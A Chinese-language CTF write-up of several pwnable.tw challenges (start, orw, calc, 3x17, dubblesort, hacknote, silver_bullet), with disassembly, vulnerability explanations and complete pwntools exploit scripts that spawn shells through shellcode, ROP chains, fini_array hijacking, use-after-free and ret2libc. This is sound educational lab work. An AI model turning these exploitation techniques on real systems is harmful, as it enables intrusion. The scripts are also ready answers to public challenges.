pwnable.tw 持续更新
start 检查一下保护 和查看每个段的权限发现,栈上有可执行权限
1 2 3 4 5 6 7 8 lhj@lhj-virtual-machine:~/Desktop/pwntw/start$ checksec start [*] '/home/lhj/Desktop/pwntw/start/start' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)
1 2 3 4 5 6 7 8 gef➤ vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x08048000 0x08049000 0x00000000 r-x /home/lhj/Desktop/pwntw/start/start 0xf7ff8000 0xf7ffc000 0x00000000 r-- [vvar] 0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso] 0xfffdd000 0xffffe000 0x00000000 rwx [stack]
查看了下题目逻辑,有一个输出一个输入,执行完输入后,add 0x14使得esp到 0x804809d(exit),然后ret执行 (exit)结束程序。可以发现输入大小是0x3c,是能覆盖返回地址的。如果能把栈的地址泄露出来的话,就能往栈上写shellcode,然后ret到shellcode那
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Dump of assembler code for function _start: 0x08048060 <+0>: push esp 0x08048061 <+1>: push 0x804809d 0x08048066 <+6>: xor eax,eax 0x08048068 <+8>: xor ebx,ebx 0x0804806a <+10>: xor ecx,ecx 0x0804806c <+12>: xor edx,edx 0x0804806e <+14>: push 0x3a465443 0x08048073 <+19>: push 0x20656874 0x08048078 <+24>: push 0x20747261 0x0804807d <+29>: push 0x74732073 0x08048082 <+34>: push 0x2774654c 0x08048087 <+39>: mov ecx,esp 0x08048089 <+41>: mov dl,0x14 0x0804808b <+43>: mov bl,0x1 0x0804808d <+45>: mov al,0x4 0x0804808f <+47>: int 0x80 0x08048091 <+49>: xor ebx,ebx 0x08048093 <+51>: mov dl,0x3c 0x08048095 <+53>: mov al,0x3 0x08048097 <+55>: int 0x80 0x08048099 <+57>: add esp,0x14 => 0x0804809c <+60>: ret
会发现执行到ret的时候 stack上有一个栈相关的地址,可以通过栈溢出覆盖返回地址调用 write来把esp打印出来泄露这个地址,泄露完后刚刚好又能再read一次,第二次read就写shellcode,然后把返回地址修改成shellcode的起始地址(用泄露出来的地址,gdb去查看这个地址和shellcode的偏移来算shellcode的地址),第二次read esp到返回地址之间的距离太短了,所以在返回地址后边写shellcode。shellcode的地址 = leak_addr + 0x14(esp距离返回地址的偏移)
1 2 3 4 5 0x08048087 <+39>: mov ecx,esp 0x08048089 <+41>: mov dl,0x14 0x0804808b <+43>: mov bl,0x1 0x0804808d <+45>: mov al,0x4 0x0804808f <+47>: int 0x80
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *from LibcSearcher import *context(os='linux' ,arch='i386' ,log_level='debug' ) elf = context.binary = ELF('./start' ) libc = elf.libc is_debug = 0 if (is_debug): p = process() else : ip = "chall.pwnable.tw" port = 10000 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) payload = b'a' * 0x14 + p32(0x08048087 ) sa("Let's start the CTF:" ,payload) leak_rsp = u32(p.recv(4 )) success(hex (leak_rsp)) shellcode = asm(''' push %s push %s push esp pop ebx xor ecx,ecx xor edx,edx push 0xb pop eax int 0x80 ''' % (u32('/sh\0' ) , u32('/bin' )))payload = b'a' * 0x14 + p32(leak_rsp + 0x14 ) + shellcode s(payload) p.interactive()
orw 程序逻辑是,输入 0xC8 个字节的数据,然后call这个数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ; Attributes: bp-based frame fuzzy-sp ; int __cdecl main(int argc, const char **argv, const char **envp) public main main proc near var_4= dword ptr -4 argc= dword ptr 8 argv= dword ptr 0Ch envp= dword ptr 10h ; __unwind { lea ecx, [esp+4] and esp, 0FFFFFFF0h push dword ptr [ecx-4] push ebp mov ebp, esp push ecx sub esp, 4 call orw_seccomp sub esp, 0Ch push offset format ; "Give my your shellcode:" call _printf add esp, 10h sub esp, 4 push 0C8h ; nbytes push offset shellcode ; buf push 0 ; fd call _read add esp, 10h mov eax, offset shellcode call eax ; shellcode mov eax, 0 mov ecx, [ebp+var_4] leave lea esp, [ecx-4] retn ; } // starts at 8048548 main endp
输入前有一个沙箱,可以通过orw(open read write)把flag读出来,不过这里 如果 A 为 64位的话,似乎也能绕过沙箱,好像可以通过retn去修改段寄存器的某个数据来切换处理器的运行模式,不过我是直接用shellcraft来生成orw把flag读出来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 lhj@lhj-virtual-machine:~/Desktop/pwntw/orw$ seccomp-tools dump ./orw line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011 0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011 0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011 0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011 0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011 0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011 0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38) 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context(os='linux' ,arch='i386' ,log_level='debug' ) elf = context.binary = ELF('./orw' ) libc = elf.libc is_debug = 0 if (is_debug): p = process() else : ip = "chall.pwnable.tw" port = 10001 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) def orw_i386 (): shellcode = shellcraft.open ('/home/orw/flag' ) shellcode += shellcraft.read('eax' ,'esp' ,0x30 ) shellcode += shellcraft.write(1 ,'esp' ,0x30 ) return asm(shellcode) def orw_cat_i386 (): shellcode = shellcraft.i386.linux.cat2('/home/orw/flag' ) return asm(shellcode) shellcode = orw_cat_i386() print (len (shellcode))s(shellcode) p.interactive()
calc 先分析一下程序的功能,get_expr是输入(最多位1024字节的数据),parse_expr会把输入的表达式计算出来,最后打印结果。bzero和init_pool这两个函数不太重要,只是初始化的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned int calc () { int pool[101 ]; char s[1024 ]; unsigned int v3; v3 = __readgsdword(0x14 u); while ( 1 ) { bzero(s, 0x400 u); if ( !get_expr(s, 1024 ) ) break ; init_pool(pool); if ( parse_expr((int )s, pool) ) { printf ("%d\n" , pool[pool[0 ]]); fflush(stdout ); } } return __readgsdword(0x14 u) ^ v3; }
这里对输入有一些字符限制,满足约束才能把数据读进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl get_expr (int a1, int a2) { int v2; char v4; int v5; v5 = 0 ; while ( v5 < a2 && read(0 , &v4, 1 ) != -1 && v4 != 10 ) { if ( v4 == 43 || v4 == 45 || v4 == 42 || v4 == 47 || v4 == 37 || v4 > 47 && v4 <= 57 ) { v2 = v5++; *(_BYTE *)(a1 + v2) = v4; } } *(_BYTE *)(v5 + a1) = 0 ; return v5; }
1 2 [37, 42, 43, 45, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57] %*+-/0123456789
parse_expr中,会通过查找运算符位置的方式,来划分表达式中的操作数 运算符,分别存储到两个数组中,最后丢到eval里计算结果
满足约束的运算符的ascii是 < 48的,这里做了一个无符号的类型转换 负数转u32_int的值是 > 9的,所以这段代码作用是 判断是否是一个运算符(第一次看感觉很奇怪)
1 (unsigned int)(*(char *)(i + inputString) - 48) > 9 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 int __cdecl parse_expr (int inputString, _DWORD *pool) { int v3; int v4; int i; int v6; int v7; char *s1; int v9; char operator[100 ]; unsigned int v11; v11 = __readgsdword(0x14 u); v4 = inputString; v6 = 0 ; bzero(operator, 0x64 u); for ( i = 0 ; ; ++i ) { if ( (unsigned int )(*(char *)(i + inputString) - 48 ) > 9 ) { v7 = i + inputString - v4; s1 = (char *)malloc (v7 + 1 ); memcpy (s1, v4, v7); s1[v7] = 0 ; if ( !strcmp (s1, "0" ) ) { puts ("prevent division by zero" ); fflush(stdout ); return 0 ; } v9 = atoi(s1); if ( v9 > 0 ) { v3 = (*pool)++; pool[v3 + 1 ] = v9; } if ( *(_BYTE *)(i + inputString) && (unsigned int )(*(char *)(i + 1 + inputString) - 48 ) > 9 ) { puts ("expression error!" ); fflush(stdout ); return 0 ; } v4 = i + 1 + inputString; if ( operator[v6] ) { switch ( *(_BYTE *)(i + inputString) ) { case '%' : case '*' : case '/' : if ( operator[v6] != 43 && operator[v6] != 45 ) goto LABEL_14; operator[++v6] = *(_BYTE *)(i + inputString); break ; case '+' : case '-' : LABEL_14: eval(pool, operator[v6]); operator[v6] = *(_BYTE *)(i + inputString); break ; default : eval(pool, operator[v6--]); break ; } } else { operator[v6] = *(_BYTE *)(i + inputString); } if ( !*(_BYTE *)(i + inputString) ) break ; } } while ( v6 >= 0 ) eval(pool, operator[v6--]); return 1 ; }
漏洞点出来eval函数中,从这里可以发现 pool[0]是存储pool中有多少个操作数,通过pool[0] 计算下标取两个操作数的位置,还有计算结果存放的位置。
如果表达式为 + 10的话,这个表达式会变成 pool[1 - 1] += pool[1],也就是能覆盖pool[0]。由于eval计算表达式是通过pool[0]来计算存储结果的位置,也就是说能控制pool[0] 就能往任意地址写入 表达式的结果,实现一个任意地址值写
1 pool[*pool - 1] += pool[*pool];
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 _DWORD *__cdecl eval(_DWORD *pool, char a2) { _DWORD *result; // eax if ( a2 == 43 ) { pool[*pool - 1] += pool[*pool]; } else if ( a2 > 43 ) { if ( a2 == 45 ) { pool[*pool - 1] -= pool[*pool]; } else if ( a2 == 47 ) { pool[*pool - 1] /= (int)pool[*pool]; } } else if ( a2 == 42 ) { pool[*pool - 1] *= pool[*pool]; } result = pool; --*pool; return result; }
除了任意地址写外,printf这里是通过 pool作为基地址,偏移pool[0]来取数据打印的,这意味着这里能泄露任意地址
1 2 3 4 5 if ( parse_expr((int)s, pool) ) { printf("%d\n", pool[pool[0]]); fflush(stdout); }
利用思路是,通过ropgadget生成一个rop链,往返回地址写这个rop链,先泄露要写的位置的数据,然后通过sub和add清空这个位置的数据,最后把rop链 add上去。
这个pool距离 rbp的位置是 0x5a0个字节,32位程序返回地址在rbp + 4上。pool是int32类型的,所以偏移为 (0x5a0 + 4) / 4 = 361
1 int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *from LibcSearcher import *context(os='linux' ,arch='i386' ,log_level='debug' ) elf = context.binary = ELF('./calc' ) libc = elf.libc is_debug = 0 if (is_debug): p = process() else : ip = "chall.pwnable.tw" port = 10100 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) from struct import packpayload = b'' payload += pack('<I' , 0x080701aa ) payload += pack('<I' , 0x080ec060 ) payload += pack('<I' , 0x0805c34b ) payload += b'/bin' payload += pack('<I' , 0x0809b30d ) payload += pack('<I' , 0x080701aa ) payload += pack('<I' , 0x080ec064 ) payload += pack('<I' , 0x0805c34b ) payload += b'//sh' payload += pack('<I' , 0x0809b30d ) payload += pack('<I' , 0x080701aa ) payload += pack('<I' , 0x080ec068 ) payload += pack('<I' , 0x080550d0 ) payload += pack('<I' , 0x0809b30d ) payload += pack('<I' , 0x080481d1 ) payload += pack('<I' , 0x080ec060 ) payload += pack('<I' , 0x080701d1 ) payload += pack('<I' , 0x080ec068 ) payload += pack('<I' , 0x080ec060 ) payload += pack('<I' , 0x080701aa ) payload += pack('<I' , 0x080ec068 ) payload += pack('<I' , 0x080550d0 ) payload += pack('<I' , 0x0807cb7f ) payload += pack('<I' , 0x0807cb7f ) payload += pack('<I' , 0x0807cb7f ) payload += pack('<I' , 0x0807cb7f ) payload += pack('<I' , 0x0807cb7f ) payload += pack('<I' , 0x0807cb7f ) payload += pack('<I' , 0x0807cb7f ) payload += pack('<I' , 0x0807cb7f ) payload += pack('<I' , 0x0807cb7f ) payload += pack('<I' , 0x0807cb7f ) payload += pack('<I' , 0x0807cb7f ) payload += pack('<I' , 0x08049a21 ) r() for i in range (361 , 361 + int (len (payload) / 4 )): sl('+' + str (i)) value = int (r()) if value > 0 : payload2 = f'+{i} -{value} +{u32(payload[(i - 361 ) * 4 :(i - 361 + 1 ) * 4 ])} ' else : payload2 = f'+{i} +{-value} +{u32(payload[(i - 361 ) * 4 :(i - 361 + 1 ) * 4 ])} ' sl(payload2) r() sl('' ) p.interactive()
3x17 https://wiki.mrskye.cn/Pwn/stackoverflow/fini_array%E5%8A%AB%E6%8C%81/fini_array%E5%8A%AB%E6%8C%81/#pwnabletw-3x17
程序逻辑大概是 往指定地址写一个 0x18大小的数据,但是只能写一次,程序是静态链接的,写不了got,也不能泄露一个栈相关的地址写返回地址来控制程序执行流。后面查询了一下发现,可以通过写fini_array来控制程序执行流,来无限次写,然后再写 syscall版本的rop链,最后栈迁移过去执行syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) elf = context.binary = ELF('./3x17' ) libc = elf.libc is_debug = 0 if (is_debug): p = process() else : ip = "chall.pwnable.tw" port = 10105 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x = None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) def write_data (addr,data ): r() s(str (addr)) r() s(data) fini_array = 0x4B40F0 main_addr = 0x401B6D libc_csu_fini = 0x402960 rsp = fini_array + 0x10 leave_ret = 0x401C4B ret = 0x401016 rop_syscall = 0x471db5 rop_pop_rax = 0x41e4af rop_pop_rdx = 0x446e35 rop_pop_rsi = 0x406c30 rop_pop_rdi = 0x401696 bin_sh_addr = 0x4B419A def write (addr,data ): p.recv() p.send(str (addr)) p.recv() p.send(data) write(fini_array,p64(libc_csu_fini) + p64(main_addr)) write(bin_sh_addr,"/bin/sh\x00" ) write(rsp,p64(rop_pop_rax)) write(rsp+8 ,p64(0x3b )) write(rsp+16 ,p64(rop_pop_rdi)) write(rsp+24 ,p64(bin_sh_addr)) write(rsp+32 ,p64(rop_pop_rdx)) write(rsp+40 ,p64(0 )) write(rsp+48 ,p64(rop_pop_rsi)) write(rsp+56 ,p64(0 )) write(rsp+64 ,p64(rop_syscall)) write(fini_array,p64(leave_ret) + p64(ret)) p.interactive()
dubblesort 程序的逻辑是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v3; _BYTE *v4; unsigned int i; unsigned int j; int result; unsigned int v8; _BYTE v9[32 ]; char buf[64 ]; unsigned int v11; v11 = __readgsdword(0x14 u); sub_8B5(); __printf_chk(1 , "What your name :" ); read(0 , buf, 0x40 u); __printf_chk(1 , "Hello %s,How many numbers do you what to sort :" ); __isoc99_scanf("%u" , &v8); v3 = v8; if ( v8 ) { v4 = v9; for ( i = 0 ; i < v8; ++i ) { __printf_chk(1 , "Enter the %d number : " ); fflush(stdout ); __isoc99_scanf("%u" , v4); v3 = v8; v4 += 4 ; } } sub_931(v9, v3); puts ("Result :" ); if ( v8 ) { for ( j = 0 ; j < v8; ++j ) __printf_chk(1 , "%u " ); } result = 0 ; if ( __readgsdword(0x14 u) != v11 ) sub_BA0(); return result; }
漏洞点有两个位置,第一个是 printf (….”%s”) ,这里的pritnf使用了 %s,能够利用这类泄露栈上的数据
1 __printf_chk(1, "Hello %s,How many numbers do you what to sort :");
第二个位置是这里,v8可控,可以通过这里去覆盖返回地址,往后边写rop链,注意有一个canary。原本的思路是 printf %s 这里泄露canary,然后带上canary打ret2libc,后面发现scanf 如果输入一个和期待字符类型不同的字符,就不会写入。所以printf %s直接去泄露libc的地址,然后算出 binsh和system的地址,最后覆盖返回地址 传参就好了。有些奇怪远程打不通,第一次leak 的时候 也leak不出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 __isoc99_scanf("%u", &v8); v3 = v8; if ( v8 ) { v4 = v9; for ( i = 0; i < v8; ++i ) { __printf_chk(1, "Enter the %d number : "); fflush(stdout); __isoc99_scanf("%u", v4); v3 = v8; v4 += 4; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) elf = context.binary = ELF('./dubblesort' ) libc = ELF('libc_32.so.6' ) is_debug = 1 if (is_debug): p = process() else : ip = "chall.pwnable.tw" port = 10101 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) s("a" * (0x18 + 1 )) leak_addr = u32(ru(b'\xf7' )[-4 :]) & 0xffffff00 libc_base = leak_addr - 0x1b0000 system_addr = libc_base + libc.sym['system' ] binsh_addr = libc_base + next (libc.search(b'/bin/sh' )) success(f'libc_base ->{hex (libc_base)} ' ) success(f'system_add ->{hex (system_addr)} ' ) sla(b'sort :' , str ('35' ).encode()) for i in range (24 ): sla(b'number :' , b'0' ) sla(b'number :' , b'+' ) for i in range (7 ): sla(b'number :' , str (system_addr).encode()) sla(b'number :' , str (system_addr).encode()) sla(b'number :' , str (system_addr).encode()) sla(b'number :' , str (binsh_addr).encode()) p.interactive()
hacknote 存在uaf,可以通过控制size的大小,从fastbin里面拿到一个堆块,往里面写函数指针,通过printf note 实现任意函数调用打ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *from LibcSearcher import *context(os='linux' ,arch='i386' ,log_level='debug' ) elf = context.binary = ELF('./hacknote' ) libc = ELF('./libc_32.so.6' ) is_debug = 1 if (is_debug): p = process() else : ip = "chall.pwnable.tw" port = 10102 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) def add_note (size,content ): sla('Your choice :' ,'1' ) sla('Note size :' ,str (size)) sa('Content :' ,content) def delete_note (index ): sla('Your choice :' ,'2' ) sla('Index :' ,str (index)) def print_note (index ): sla('Your choice :' ,'3' ) sla('Index :' ,str (index)) add_note(0x50 ,'aaaa' ) add_note(0x50 ,'bbbb' ) delete_note(1 ) delete_note(0 ) puts = 0x804862b read_got = elf.got['read' ] payload = p32(puts)+p32(read_got) add_note(8 ,payload) print_note(1 ) libc_base = u32(p.recv(4 )) - libc.sym['read' ] system = libc_base + libc.sym['system' ] delete_note(2 ) payload = p32(system) + b';sh\0' add_note(8 ,payload) print_note(1 ) p.interactive()
silver_bullet 漏洞出在power_up函数中的strncat ,strncat的作用是将一个字符串复制n个字节到另一个字符串的末尾,并添加\x00,添加\x00这一步刚刚好可以覆盖dest + 12中存放的字符串长度信息,再次调用power_up的时候会产生溢出,可以覆盖main函数的返回地址,打ret2libc。
通过puts_plt(puts_got)的方式泄露一个libc的地址拿到binsh 和system,然后system(binsh)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl power_up (char *dest) { char s[48 ]; size_t v3; v3 = 0 ; memset (s, 0 , sizeof (s)); if ( !*dest ) return puts ("You need create the bullet first !" ); if ( *((_DWORD *)dest + 12 ) > 0x2F u ) return puts ("You can't power up any more !" ); printf ("Give me your another description of bullet :" ); read_input(s, 48 - *((_DWORD *)dest + 12 )); strncat (dest, s, 48 - *((_DWORD *)dest + 12 )); v3 = strlen (s) + *((_DWORD *)dest + 12 ); printf ("Your new power is : %u\n" , v3); *((_DWORD *)dest + 12 ) = v3; return puts ("Enjoy it !" ); }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *from LibcSearcher import *context(os='linux' ,arch='i386' ,log_level='debug' ) elf = context.binary = ELF('./silver_bullet' ) libc = ELF('./libc_32.so.6' ) is_debug = 0 if (is_debug): p = process() else : ip = "chall.pwnable.tw" port = 10103 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) def create_silver_bullet (data ): sla("Your choice :" ,"1" ) sla("Give me your description of bullet :" ,data) def power_up (data ): sla("Your choice :" ,"2" ) sla('Give me your another description of bullet :' ,data) def beat (): sla("Your choice :" ,"3" ) main = 0x8048954 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] create_silver_bullet(b'a' * 47 ) power_up(b'a' ) payload = b'\xff' * 7 + p32(puts_plt) + p32(main) + p32(puts_got) power_up(payload) beat() ru("Oh ! You win !!\n" ) leak_puts_addr = u32(ru(b'\xf7' )[-4 :]) libc_base = leak_puts_addr - libc.sym['puts' ] success(f"libc_base ->{hex (libc_base)} " ) system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search(b"/bin/sh" )) create_silver_bullet(b'a' * 47 ) power_up(b'a' ) payload = b'\xff' * 7 + p32(system) + p32(main) + p32(binsh) power_up(payload) beat() p.interactive()